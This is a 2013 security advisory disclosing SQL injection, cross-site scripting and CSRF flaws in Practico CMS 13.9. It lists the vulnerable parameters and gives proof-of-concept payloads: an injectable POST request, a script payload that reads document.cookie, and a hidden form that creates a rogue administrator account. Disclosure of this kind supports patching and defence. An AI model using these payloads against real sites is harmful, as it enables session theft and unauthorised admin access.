Practico 13.9 – Multiple Vulnerabilities
Practico 13.9 Multiple Vulnerabilities Vendor: Practico Product web page: http://www.codigoabierto.org Affected version: 13.9 Summary: Practico is a free CMS software project released under license GNU GPL v2.0 for creating web applications in a completely visual and fast fashion. Without programming knowledge. Desc: Practico suffers from multiple vulnerabilities including Cross-Site Scripting (XSS), SQL Injection (SQLi) and Cross-Site Request Forgery (CSRF/XSRF). The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Input passed via several parameters is not properly sanitized before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and HTML/script code in a user's browser session in context of an affected site. Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.7 MySQL 5.5.25a Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2013-5160 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5160.php Vendor: http://www.codigoabierto.org/anuncios/nuevaversion13911 http://sourceforge.net/projects/practico/files/Parches_de_Actualizacion/ 10.10.2013 -- ================================================================= | SQL Injection Params (POST) | XSS Params (GET) | ================================================================= | | | | accionbuscar | accion | | alias_manual | accionbuscar | | alto | error_descripcion | | ancho | error_titulo | | ano | fin_reg | | categoria | id | | columna | informe | | comando | inicio_reg | | descripcion | login_filtro | | diaf | nombre_filtro | | diai | objeto | | fin_reg | tabla_datos | | formato_final | | | genera_pdf | | | id | | | imagen | | | informe | | | inicio_reg | | | login | | | login_filtro | | | mesf | | | mesi | | | nivel_usuario | | | nombre_filtro | | | nombre_tabla | | | padre | | | peso | | | posible_arriba | | | posible_centro | | | posible_clic | | | posible_escritorio | | | seccion | | | tabla_datos | | | tabla_manual | | | texto | | | tipo_comando | | | titulo | | | url | | | usuario | | | | | ================================================================= --------- SQLi PoC: --------- POST /practico/ HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost/practico/ Cookie: __utma=1.1386375274.1372170047.1372170047.1372170047.1; __utmz=1.1372170047.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); cookies_accepted=yes; pun_cookie_e516be=1%7C93436127b7acec38d75088212a8649c4eb3c9e84%7C1406252203%7C9f9c497d5b3e089bf8bb1e2f145e599fa095c746; PHPSESSID=6e2rs9td58ardofhso3gm63421 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 145 accion=guardar_informe&titulo=asdasd&descripcion=asdasd&categoria=asdasd&nivel_usuario=-1&ayuda_imagen=&ancho=&alto=[SQL Injection]&formato_final=T&genera_pdf=N -------- XSS PoC: -------- GET /practico/?accionbuscar=&usuario=&diai=09&mesi=10&diaf=09&mesf=10&ano=2013&accion=ver_seguimiento_general&inicio_reg=0&fin_reg=50"><script>alert(document.cookie);</script> ------------------- CSRF Add Admin PoC: ------------------- <html> <body> <form action="http://localhost/practico/" method="POST"> <input type="hidden" name="accion" value="guardar_usuario" /> <input type="hidden" name="login" value="hacker" /> <input type="hidden" name="nombre" value="Testingus2" /> <input type="hidden" name="descripcion" value="ZSL" /> <input type="hidden" name="clave" value="hacker" /> <input type="hidden" name="seguridad" value="0" /> <input type="hidden" name="clave1" value="hacker" /> <input type="hidden" name="correo" value="thricer@it.com.mk.ar" /> <input type="hidden" name="estado" value="1" /> <input type="hidden" name="nivel" value="5" /> <input type="submit" value="Submit form" /> </form> </body> </html> |